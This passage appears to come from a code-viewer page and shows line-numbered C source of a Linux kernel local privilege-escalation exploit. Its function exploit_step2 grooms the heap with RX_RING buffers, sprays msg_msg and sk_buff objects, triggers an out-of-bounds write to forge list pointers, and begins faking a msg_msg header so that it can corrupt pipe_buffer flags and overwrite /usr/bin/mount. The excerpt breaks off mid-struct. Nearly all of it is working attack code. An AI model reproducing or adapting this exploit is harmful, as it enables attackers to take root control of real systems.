exploit_step2() —— forge pipe_buffer->flags & overwrite "/usr/bin/mount"
| 887 | } |
| 888 | // exploit_step2() —— forge pipe_buffer->flags & overwrite "/usr/bin/mount" |
| 889 | int exploit_step2() { |
| 890 | char buff[0x1000]; |
| 891 | // 4-1. heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer) |
| 892 | logd("[4-1] heap fengshui: drain 0x1000~0x10000 to make next allocation adjacent (using RX_RING buffer) ..."); |
| 893 | pagealloc_pad(1000, 0x1000); |
| 894 | pagealloc_pad(500, 0x2000); |
| 895 | pagealloc_pad(200, 0x4000); |
| 896 | pagealloc_pad(200, 0x8000); |
| 897 | pagealloc_pad(100, 0x10000); |
| 898 | // 4-2. spray 0x20 0x10000 RX_RING buffer and free half (odd index) |
| 899 | int fengshui_skfd[fengshui_skfd_cnt]; |
| 900 | for (int i = 0; i < fengshui_skfd_cnt; i++) |
| 901 | fengshui_skfd[i] = pagealloc_pad(1, 0x10000); |
| 902 | |
| 903 | for (int i = 1; i < fengshui_skfd_cnt; i += 2) { |
| 904 | close(fengshui_skfd[i]); |
| 905 | fengshui_skfd[i] = -1; |
| 906 | } |
| 907 | |
| 908 | // 4-3. spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400) |
| 909 | logd("[4-3] spray 0x400 (msg_msg + msg_msgseg) -> (0x1000 + 0x400) ..."); |
| 910 | for (int i = 0; i < NUM_MSQIDS_1; i++) { |
| 911 | msg_a->mtype = MTYPE_A; |
| 912 | memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE); |
| 913 | ((int *)msg_a->mtext)[0] = MSG_SIG; |
| 914 | ((int *)msg_a->mtext)[1] = i; |
| 915 | if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) |
| 916 | die("msgsnd() fail"); |
| 917 | } |
| 918 | // 4-4. free another half RX_RING buffer |
| 919 | logd("[4-4] free another half RX_RING buffer ... "); |
| 920 | for (int i = 0; i < fengshui_skfd_cnt; i += 1) { |
| 921 | if (fengshui_skfd[i] > 0) { |
| 922 | close(fengshui_skfd[i]); |
| 923 | fengshui_skfd[i] = -1; |
| 924 | } |
| 925 | } |
| 926 | // 4-5. trigger OOB to forge msg_msg->m_list.next |
| 927 | logd("[4-5] trigger OOB to forge msg_msg->m_list.next ..."); |
| 928 | uint64_t vuln_buf[] = { |
| 929 | list2_uaf_msg_addr, // m_list.next |
| 930 | }; |
| 931 | trigger_vuln(&vuln_buf, sizeof(vuln_buf)); |
| 932 | |
| 933 | // 4-6. 1st free the uaf msg_msg |
| 934 | logd("[4-6] free uaf msg_msg from correct msqid (list2_leak_msqid)"); |
| 935 | if (msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, list2_uaf_mtype, 0) < 0) |
| 936 | die("[-] msgrcv() fail"); |
| 937 | |
| 938 | // 4-7. spary 4*32 sk_buff->data to take up the uaf msg_msg and forge header |
| 939 | logd("[4-7] spray sk_buff->data to re-acquire the 0x400 slab freed by msg_msg"); |
| 940 | { |
| 941 | memset(buff, 0, sizeof(buff)); |
| 942 | struct msg_msg *p = (struct msg_msg *)buff; |
| 943 | p->m_list.next = list2_uaf_msg_addr; |
| 944 | p->m_list.prev = list2_uaf_msg_addr; |
| 945 | p->m_ts = 0x100; |
| 946 | p->m_type = MTYPE_FAKE; |
no test coverage detected